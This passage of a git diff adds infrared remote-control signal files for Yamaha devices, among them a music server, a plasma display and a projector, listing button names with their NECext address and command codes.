+protocol: NECext +address: 78 00 00 00 +command: 03 00 00 00 +# +name: TRACK_DOWN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 04 00 00 00 +# +name: MODE-DUBBING +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 05 00 00 00 +# +name: START-DUBBING +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 06 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 07 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 07 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 08 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 08 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 09 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 09 00 00 00 +# +name: TEXT/TIME +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0A 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0B 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0B 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0C 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 19 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1A 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1B 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1C 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1D 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1F 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 41 00 00 00 +# +name: TAPE_DIRECTION +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 43 00 00 00 +# +name: TAPE_REC/PAUSE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 46 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 49 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4E 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4F 00 00 00 +# +name: MD +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 57 00 00 00 +# +name: MD_REC/PAUSE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Music Server/128,55.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Music Server/128,55.ir new file mode 100644 index 000000000..da2d395c3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Music Server/128,55.ir @@ -0,0 +1,512 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 20 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 23 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 25 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 26 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 27 00 00 00 +# +name: CHAPTER_<< +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 28 00 00 00 +# +name: CHAPTER_>> +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 29 00 00 00 +# +name: GOUP_- +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 2A 00 00 00 +# +name: GROUP_+ +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 2B 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 30 00 00 00 +# +name: BROADCAST +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 31 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 32 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 33 00 00 00 +# +name: FUNCTION_3 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 3D 00 00 00 +# +name: RECEIVER_MUTE +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 3D 00 00 00 +# +name: FUNCTION_1 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 3E 00 00 00 +# +name: RECEIVER_VOL_- +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 3E 00 00 00 +# +name: FUNCTION_2 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 3F 00 00 00 +# +name: RECEIVER_VOL_+ +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 3F 00 00 00 +# +name: ARTIST +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 40 00 00 00 +# +name: ALBUM +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 41 00 00 00 +# +name: GENRES +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 42 00 00 00 +# +name: ALL_SONGS +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 43 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 44 00 00 00 +# +name: SONG_STATS. +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 45 00 00 00 +# +name: BOOKMARKS +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 46 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 47 00 00 00 +# +name: RECORDING +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 48 00 00 00 +# +name: AV_RECIEVER +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 49 00 00 00 +# +name: CLIENT_PLAYBACK +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 4A 00 00 00 +# +name: EXT._INPUTS +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 4B 00 00 00 +# +name: PLAY_INFO +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 4E 00 00 00 +# +name: BOOKMARK_ON/OFF +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 4F 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 50 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 51 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 52 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 53 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 54 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 55 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 56 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 57 00 00 00 +# +name: SUB_MENU +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 58 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 59 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 5A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 61 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 80 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 82 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 83 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 83 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 85 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 85 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 86 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 86 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 87 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 87 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 88 00 00 00 +# +name: CHAPTER_- +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 88 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 89 00 00 00 +# +name: CHAPTER_+ +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 89 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 8A 00 00 00 +# +name: GROUP_- +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 8A 00 00 00 +# +name: GROUP_+ +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 8B 00 00 00 +# +name: FAVORITE_1 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 8C 00 00 00 +# +name: FAVORITE_2 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 8D 00 00 00 +# +name: FAVORITE_3 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 8E 00 00 00 +# +name: FAVORITE_4 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 8F 00 00 00 +# +name: BOOKMARK +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 91 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 92 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 93 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 98 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 9D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 9E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 9F 00 00 00 +# +name: PLAY_INFO +type: parsed +protocol: NECext +address: 80 37 00 00 +command: AE 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 80 37 00 00 +command: B1 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 80 37 00 00 +command: B2 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 80 37 00 00 +command: B3 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 80 37 00 00 +command: B4 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 80 37 00 00 +command: B5 00 00 00 +# +name: SELECT/ENTER +type: parsed +protocol: NECext +address: 80 37 00 00 +command: B6 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: 80 37 00 00 +command: BD 00 00 00 +# +name: OFF_TIMER +type: parsed +protocol: NECext +address: 80 37 00 00 +command: BE 00 00 00 +# +name: ON_TIMER +type: parsed +protocol: NECext +address: 80 37 00 00 +command: BF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir new file mode 100644 index 000000000..8be645791 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 00 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 03 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 04 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 05 00 00 00 +# +name: PINP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 06 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 07 00 00 00 +# +name: INPUT_RGB1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: INPUT_RGB2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: INPUT_AV1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: INPUT_AV2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0C 00 00 00 +# +name: INPUT_AV3 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0D 00 00 00 +# +name: INPUT_AV4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0E 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 13 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: DISPLAY_SIZE_CHANGE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Projector/209,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Projector/209,-1.ir new file mode 100644 index 000000000..3d09ffdec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Projector/209,-1.ir @@ -0,0 +1,998 @@ +Filetype: IR signals file +Version: 1 +# +name: V.POS +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 20 00 00 00 +# +name: V.POS_UP +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 21 00 00 00 +# +name: V.POS_DOWN +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 22 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 23 00 00 00 +# +name: ZOOM_UP +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 24 00 00 00 +# +name: ZOOM_DOWN +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 25 00 00 00 +# +name: FOCUS +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 26 00 00 00 +# +name: FOCUS_UP +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 27 00 00 00 +# +name: FOCUS_DOWN +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 28 00 00 00 +# +name: IRIS +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 29 00 00 00 +# +name: IRIS_UP +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 2A 00 00 00 +# +name: IRIS_DOWN +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 2B 00 00 00 +# +name: ASPECT_CINEMA_ZOOM +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 30 00 00 00 +# +name: ASPECT_CIN_SQUEEZE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 31 00 00 00 +# +name: ASPECT_CIN_16:9_ZOOM +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 32 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 60 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 61 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 62 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 63 00 00 00 +# +name: HIDE_OFF +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 64 00 00 00 +# +name: HIDE_ON +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 65 00 00 00 +# +name: HIDE_TOG +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 66 00 00 00 +# +name: PATTERN_OFF +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 67 00 00 00 +# +name: PATTERN_ON +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 68 00 00 00 +# +name: PATTERN_TOG +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 69 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 6A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 6C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 6D 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 6E 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 6F 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 70 00 00 00 +# +name: MENU_OFF +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 71 00 00 00 +# +name: MENU_ON +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 72 00 00 00 +# +name: MENU_TOG +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 73 00 00 00 +# +name: ESCAPE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 75 00 00 00 +# +name: INPUT_TOG +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 76 00 00 00 +# +name: S_VIDEO +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 78 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 79 00 00 00 +# +name: INPUT_A +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 7A 00 00 00 +# +name: INPUT_B +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 7B 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 7C 00 00 00 +# +name: D4 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 7D 00 00 00 +# +name: STILL_OFF +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 7E 00 00 00 +# +name: STILL_ON +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 7F 00 00 00 +# +name: STILL_TOG +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 80 00 00 00 +# +name: MEMORY_1 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 81 00 00 00 +# +name: MEMORY_2 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 82 00 00 00 +# +name: MEMORY_3 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 83 00 00 00 +# +name: MEMORY_4 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 84 00 00 00 +# +name: MEMORY_5 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 85 00 00 00 +# +name: MEMORY_6 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 86 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 8A 00 00 00 +# +name: ASPECT_NORMAL +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 8B 00 00 00 +# +name: ASPECT_ZOOM +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 8C 00 00 00 +# +name: ASPECT_ZOOM_TITLE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 8D 00 00 00 +# +name: ASPECT_SQUEEZE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 8E 00 00 00 +# +name: ASPECT_THROUGH +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 8F 00 00 00 +# +name: ASPECT_AUTO +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 90 00 00 00 +# +name: ASPECT_THRU_SQUEEZE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 91 00 00 00 +# +name: ASPECT_SMART_ZOOM +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 92 00 00 00 +# +name: INPUT_A_COMPONENT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 93 00 00 00 +# +name: INPUT_A_RGB_PC +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 94 00 00 00 +# +name: INPUT_A_RGB_TV +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 95 00 00 00 +# +name: INPUT_B_COMPONENT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 96 00 00 00 +# +name: INPUT_B_RGB_PC +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 97 00 00 00 +# +name: INPUT_B_RGB_TV +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 98 00 00 00 +# +name: HDMI_COMPONENT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 99 00 00 00 +# +name: HDMI_RGB_TV +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 9B 00 00 00 +# +name: HDMI_AUTO +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 9C 00 00 00 +# +name: V.POS +type: parsed +protocol: NECext +address: D1 00 00 00 +command: A0 00 00 00 +# +name: V.POS_UP +type: parsed +protocol: NECext +address: D1 00 00 00 +command: A1 00 00 00 +# +name: V.POS_DOWN +type: parsed +protocol: NECext +address: D1 00 00 00 +command: A2 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: D1 00 00 00 +command: A3 00 00 00 +# +name: ZOOM_UP +type: parsed +protocol: NECext +address: D1 00 00 00 +command: A4 00 00 00 +# +name: ZOOM_DOWN +type: parsed +protocol: NECext +address: D1 00 00 00 +command: A5 00 00 00 +# +name: FOCUS +type: parsed +protocol: NECext +address: D1 00 00 00 +command: A6 00 00 00 +# +name: FOCUS_UP +type: parsed +protocol: NECext +address: D1 00 00 00 +command: A7 00 00 00 +# +name: FOCUS_DOWN +type: parsed +protocol: NECext +address: D1 00 00 00 +command: A8 00 00 00 +# +name: IRIS +type: parsed +protocol: NECext +address: D1 00 00 00 +command: A9 00 00 00 +# +name: IRIS_UP +type: parsed +protocol: NECext +address: D1 00 00 00 +command: AA 00 00 00 +# +name: IRIS_DOWN +type: parsed +protocol: NECext +address: D1 00 00 00 +command: AB 00 00 00 +# +name: ASPECT_CINEMA_ZOOM +type: parsed +protocol: NECext +address: D1 00 00 00 +command: B0 00 00 00 +# +name: ASPECT_CIN_SQUEEZE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: B1 00 00 00 +# +name: ASPECT_CIN_16:9_ZOOM +type: parsed +protocol: NECext +address: D1 00 00 00 +command: B2 00 00 00 +# +name: DVI_RGB-PC +type: parsed +protocol: NECext +address: D1 00 00 00 +command: B9 00 00 00 +# +name: DVI_RGB-TV +type: parsed +protocol: NECext +address: D1 00 00 00 +command: BA 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C0 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C1 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C2 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C2 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C3 00 00 00 +# +name: HIDE_OFF +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C4 00 00 00 +# +name: HIDE_ON +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C5 00 00 00 +# +name: HIDE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C6 00 00 00 +# +name: HIDE_TOG +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C6 00 00 00 +# +name: PATTERN_OFF +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C7 00 00 00 +# +name: PATTERN_ON +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C8 00 00 00 +# +name: PATT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C9 00 00 00 +# +name: PATTERN_TOG +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C9 00 00 00 +# +name: PATTERN +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C9 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: D1 00 00 00 +command: CA 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D1 00 00 00 +command: CC 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: D1 00 00 00 +command: CC 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D1 00 00 00 +command: CD 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: D1 00 00 00 +command: CD 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: CE 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: D1 00 00 00 +command: CE 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: CF 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: D1 00 00 00 +command: CF 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D0 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D0 00 00 00 +# +name: RETURN_<-- +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D0 00 00 00 +# +name: MENU_OFF +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D1 00 00 00 +# +name: MENU_ON +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D2 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D3 00 00 00 +# +name: MENU_TOG +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D3 00 00 00 +# +name: DVI +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D4 00 00 00 +# +name: ESCAPE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D5 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D6 00 00 00 +# +name: INPUT_TOG +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D6 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D7 00 00 00 +# +name: S-VID +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D8 00 00 00 +# +name: S_VIDEO +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D8 00 00 00 +# +name: INPUT:_S-VIDEO +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D8 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D9 00 00 00 +# +name: INPUT:_VIDEO +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D9 00 00 00 +# +name: INPUT_A +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DA 00 00 00 +# +name: INPUT:_A_(COMPNENT) +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DA 00 00 00 +# +name: INPUT_B +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DB 00 00 00 +# +name: INPUT:_B_(DB-15) +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DB 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DC 00 00 00 +# +name: INPUT:_DVI +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DC 00 00 00 +# +name: D4 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DD 00 00 00 +# +name: INPUT:_D4 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DD 00 00 00 +# +name: STILL_OFF +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DE 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DF 00 00 00 +# +name: STILL_ON +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DF 00 00 00 +# +name: 